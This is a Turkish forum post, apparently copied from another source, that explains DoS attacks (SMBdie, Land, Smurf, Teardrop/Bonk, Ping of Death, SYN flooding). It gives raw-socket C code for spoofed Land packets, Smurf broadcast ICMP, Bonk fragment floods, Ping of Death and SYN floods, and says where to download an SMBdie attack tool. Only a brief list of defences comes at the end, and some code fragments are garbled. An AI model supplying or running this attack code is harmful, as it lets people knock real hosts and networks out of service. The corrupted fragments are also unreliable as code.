![]() |
| | #1 (permalink) | |||||||||||||
| Bu Alana Reklam Vermek İstiyorsanız Buraya Tıklayınız aktan Saldırının Teorisi ve Pratik yolları. İnternetdeki saldırılarda Uzaktan Saldırı en çok konuşulan konuların başında gelir.Bu saldırılar internetde genelde "DDoS","DoS","Syn-flood","PoD"... gibi isimlerle anılırlar. Bu saldırıların nasıl yapıldığının yanında bu saldırılar için kullanılabilecek C++ kodlarını da veremeye çalışacam. İnternet ilk olarak USA milli ordusunda çıkmasına bakmayarak çok şaşırtıcıdır ki burada kullanılan protokol olan TCP/IP o kadar da güvenli değildir.Özellikle TCP/IP nin bazı özelliklerindendir ki bu tür uzaktan saldırılar yapılabiliyor.Aynı zamanda bu saldırılarda İşletim sisteminde bulunan zayıf noktalarının da büyük rolü var. Uzaktan Saldırılar için ihtiyaçlar. Bu tür bir saldırının yapılabilmesi için en az bir tane internete bağlı bir bilgisayara ihtiyaç vardır .Bir tane bilgisayarla yapılan bu tür saldırılara "DoS"(Denial of Service) denir. Fakat yapılabilecek saldırı DDoS (Distributed Denial of Service) olacaksa ne kadar fazla makina olursa o kadarda saldırının başarılı olması muhtemeldir. Bunun için de genelde bir çok makinayı ele geçirecek ve bu doğrultuda kullanacak virüs(trojan,worm) yazılır ve internetde yayılması sağlanır. Daha sonra ise aynı anda hedefe toplu sorgu yapılmaya çalışılıyor ve bu şekilde hedefteki bilgisayar sisteminin bu sorgulara cevap vermeye yetişemeyerek servis dışı kalması sağlanır. "SMBdie" Saldırısı SMB (Server Message Block) - Bu Microsoft un windows ta bulunan dosya,yazıcı yönetimi ile ilgili bir protokoldür.NETBIOS açık olan Windows (NT/2k/XP/.NET RC1) yapılan bu tür bir saldırı onu etkisiz hale getirmeye yeterlidir.Teorik olarak SMBdie saldırısı ile uzaktaki makinada istenilen kod çalıştırılabilir.Pratikte ise bu yöntemle effektif DoS saldırısı yapıla biliyor.SMB ni sıradan çıkarmak için o makinaya özel bir sorgu gönderilmesi lazımdır.Hatta bu saldırıyı otomatik hale getirmek için program mevcuttur bu programı packetstorm.linuxsecurity.com sitesinde (programın ismi SMBdie) indirebilirsiniz.Bu programla saldırıyı gerçekleştirmek için yapmanız gereken şey kurbanın IP adresini ve NETBIOS isimini girmeniz gerekir.Linux altında çalışan SMB ler içinde buna benzer program yazılabilir. "Land" Saldırısı Acaba DoS ve buna benzer saldırısında internete bir sürü sorgu gönderiyoruz, bunu yapmak zorundamıyız? Hayır! Çünki bunu kurban bilgisayarın kenidisine de yaptırabiliriz. Bu yöntemle bilgisayarı kendisini yok eden kamikaze(kendine suikast yapan) dönüştüre biliriz.Bu yöntemde asıl amaç kurban bilgisayarın kendi kendisine (Buna TCP/IP izin veriyor) fazla sayıda sorgu göndermesini ve servis dışı olmasını sağlamaktır.Bunu yapmak için kurbana gönderen adres kısmında kendi IP&l8217;si yazılı olan IP paketi gönderiyoruz.Gönderenin portu ile Alıcı portunun da aynı olmasına dikkat ediyoruz.Bazı işletim sistemleri bu tür paketleri alınca IP paketdeki gönderen adresine yani kendisine cevap göndermeye çalışıyorlar.Bu şekilde sonsuz bir döngü oluşuyor ve sistemin devre dışı kalıyor.Bu eski yöntemin en önemli kod kısımlarına bakalım: //tanımlar struct sockaddr_in sin; struct hostent * hoste; int sock; struct ip * ipheader=(struct ip *) buffer; //ismine göre host arıyoruz. hoste = gethostbyname(argv[1]); bcopy(hoste-> h_addr,&sin.sin_addr,hoste-> h_length); //port numarasını sayıya çeviriyoruz. sin.sin_port = htons(atoi(argv[2])); sock = socket(AF_INET, SOCK_RAW, 255); //gönderenin ve alıcının adreslerini ayarlıyoruz. ipheader-> ip_src=sin.sin_addr; ipheader-> ip_dst=sin.sin_addr; //gönderenin ve alıcının port numaralarını ayarlıyoruz. tcpheader-> th_sport=sin.sin_port; tcpheader-> th_dport=sin.sin_port; //paketi gönderiyoruz. sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in); Bu tür Land saldırılarının çok daha gelişmiş ve yenileri vardır.Bunlardan biride internetde bulunabilen "La Tierra" dır. "Smurf" saldırısı Yukarıda gördüğümüz "Land" saldırısı tüm işletim sistemlerinde olmadığından bazen etkisiz kalabiliyor.Eğer biz gönderen adresinde kurbanın IP&l8217;si yazılı ICMP paketini broadcast olarak gönderirsek Bu sorguyu alan tüm subnete ait makinalar bu pakete cevap vermek için kurbanın bilgisayarına cevap paketleri yollayacaklar ve bu şekilde Smurf denen bu saldırıyı gerçekleştirmiş olacağız.Bu yöntemle alakalı kodu görelim: void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) &l123; // IP-başlık struct iphdr *ip; // ICMP-başlık struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); //IP-paketini oluşturalım ip-> tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip-> ihl = 5; ip-> version = 4; ip-> ttl = 255; ip-> tos = 0; ip-> frag_off = 0; ip-> protocol = IPPROTO_ICMP; ip-> saddr = sin.sin_addr.s_addr; ip-> daddr = dest; ip-> check = in_chksum((u_short *)ip, sizeof(struct iphdr)); //ICMP-paketini oluşturalım icmp-> type = 8; icmp-> code = 0; icmp-> checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); //paketi gönderelim sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); } Broadcast adresleri ile ilgili : subnet için bu adresler 208.131.0.0 ,208.131.255.255 olacaktır. "Teardrop ve Bonk" saldırısı Bu saldırı bazı işletim sistemlerinin bölünmüş paketleri toplama işlemindeki bazı zayıflıklardan yararlanıyor.Bu saldırıda bilgisayara gönderilen 2 özel olarak hazırlanmış paket parçası kurbanın bilgisayarının hafızasının silinmesini sağlıyor.Bonk atağı için olan kodu görelim: //tanımlar ldefine FRG_CONST 0x3 ldefine PADDING 0x1c struct udp_pkt &l123; struct iphdr ip; struct udphdr udp; char data[PADDING]; } pkt; void fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt, int dst_prt) &l123; int bs; struct sockaddr_in to; //başlık paketini sıfırlayalım memset(&pkt, 0, psize); // şimdi ise IP-başlığını oluşturalım pkt.ip.version = 4; pkt.ip.ihl = 5; pkt.ip.tot_len = htons(udplen + iplen + PADDING); pkt.ip.id = htons(0x455); pkt.ip.ttl = 255; pkt.ip.protocol = IP_UDP; pkt.ip.saddr = src_addr; pkt.ip.daddr = dst_addr; // Bölünmüş paket pkt.ip.frag_off = htons(0x2000); // UDP-başlığını oluşturalım pkt.udp.source = htons(src_prt); pkt.udp.dest = htons(dst_prt); pkt.udp.len = htons(8 + PADDING); //İlk paketi gönderelim to.sin_family = AF_INET; to.sin_port = src_prt; to.sin_addr.s_addr = dst_addr; bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); //İkinci paketi gönderelmi pkt.ip.frag_off = htons(FRG_CONST + 1); pkt.ip.tot_len = htons(iplen + FRG_CONST); bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); } main() &l123; // Daha etkili olmak için bu şekilde 1000 kadar paket gönderilecektir. for (i = 0; i < 1000; ++i) &l123; fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt); usleep(10000); } } "Ping of Death" Saldırısı Bu saldırıda özel olarak hazırlanmış 64 kb büyük ICMP paket gönderilerek sağlanıyor.Örnek kod: lifdef REALLY_RAW ldefine FIX(x) htons(x) lelse ldefine FIX(x) (x) lendif //ICMP-paketini hazırlıyoruz icmp-> icmp_type = ICMP_ECHO; icmp-> icmp_code = 0; icmp-> icmp_cksum = htons(~(ICMP_ECHO ip_off = FIX(offset > > 3); if (offset < 65120) ip-> ip_off | = FIX(IP_MF); else ip-> ip_len = FIX(41; // paketi gönderiyoruz. sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst); //doğrulama if (offset == 0) &l123; icmp-> icmp_type = 0; icmp-> icmp_code = 0; icmp-> icmp_cksum = 0; } } "SYN flooding" Saldırısı En sonda anlatacağım bu saldırı türü bir önce anlatılanlardan daha üniversaldır(genel amaçlı).Bu saldırıyı her türlü işletim sistemine uygulamak olur. TCP/IP de 2 bilgisayar haberleşmeye başlamadan önce "el sıkma,tokalaşma" yapılır.Yani A bilgisayarı B bilgisayarına bağlantı isteyini belirten SYN paketi gönderir. Buna cevap olarak B bilgisayarıda SYN/ACK paketini gönderir.Bu paketi alan A bilgisayarı B bilgisayarın hazır oldugunu anlıyor ve son olarak da ACK paketini göndererek bağlantıyı sağlamış oluyor.Fakat Server bilgisayara çok fazla sayıda bağlantı isteği (yani SYN paketi) gönderilirse bunların bir kısmını red etmeye başlıyor.İşte SYN flooding denen saldırı bu olayı kullanarak gerçekleşiyor, yani kurban bilgisayara çok sayıda SYN paketi göndererek diğer tüm gelen istekleri kabul etmemesini sağlıyor ve Servis dışı kalmış oluyor. Şimdi bu saldırı için kodu görelim: // TPC/IP başlığı struct send_tcp &l123; struct iphdr ip; struct tcphdr tcp; } send_tcp; // başlık struct pseudo_header &l123; unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; } pseudo_header; int i; int tcp_socket; struct sockaddr_in sin; int sinlen; //IP-paketinin oluşturulması send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 0; send_tcp.ip.tot_len = htons(40); send_tcp.ip.id = getpid(); send_tcp.ip.frag_off = 0; send_tcp.ip.ttl = 255; send_tcp.ip.protocol = IPPROTO_TCP; send_tcp.ip.check = 0; send_tcp.ip.saddr = source_addr; send_tcp.ip.daddr = dest_addr; //TCP-paketinin oluşturulması send_tcp.tcp.source = getpid(); send_tcp.tcp.dest = htons(dest_port); send_tcp.tcp.seq = getpid(); send_tcp.tcp.ack_seq = 0; send_tcp.tcp.res1 = 0; send_tcp.tcp.doff = 5; send_tcp.tcp.fin = 0; send_tcp.tcp.syn = 1; send_tcp.tcp.rst = 0; send_tcp.tcp.psh = 0; send_tcp.tcp.ack = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.res2 = 0; send_tcp.tcp.window = htons(512); send_tcp.tcp.check = 0; send_tcp.tcp.urg_ptr = 0; //sin ayarları sin.sin_family = AF_INET; sin.sin_port = send_tcp.tcp.source; sin.sin_addr.s_addr = send_tcp.ip.daddr; //socket açıyoruz tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); for(i = 0; i < numsyns; i++) &l123; //ayarlamalar send_tcp.tcp.source++; send_tcp.ip.id++; send_tcp.tcp.seq++; send_tcp.tcp.check = 0; send_tcp.ip.check = 0; // ip kontrol sayısını hesaplıyoruz. send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20); // başlıkları ayarlıyoruz. pseudo_header.source_address = send_tcp.ip.saddr; pseudo_header.dest_address = send_tcp.ip.daddr; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons(20); bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20); send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32); sinlen = sizeof(sin); // paketi gönderiyoruz. sendto(tcp_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sinlen); } close(tcp_socket); SONUÇ Şimdi bu kadar saldırıları anlatdıktan sonra onlardan nasıl korunacağımızı anlatalım: * Firewall kullanın * Antivirüs kullanın * Güvenlikle ilgili son gelişmeleri takip edin. * Yamaları,Servis packleri kurmayı unutmayın * SMBdie saldırısından korunmak için Microsoftun bu saldırıya karşı çıkardığı yamayı kurun. * Smurf saldırısın tespit için network trafiğini analiz edin. * Yeni işletim sistemleri "Bonk" saldırısından etkilenmiyorlar. Burada anlatılan saldırı çeşitleri dışında da saldırı türleri mevcuttur.Bunlara örnek olarak DNS flooding, Ping flooding, UDP bomb ... amaç bişiler paylaşmak alıntı... | |||||||||||||
| | |
| Konuyu Beğendin mi ? O Halde Konuyu Arkadaşınız ile Paylaşın =) |
| Okumuş Olduğunuz Sayfayı E-Mail ile Arkadaşınız ile Paylaşın ! |
![]() |
| Bookmarks |
| Şu an bu konuyu görüntüleyen kullanıcı sayısı: 1 (0 üye ve 1 misafir) | |
| Konu Araçları | |
| |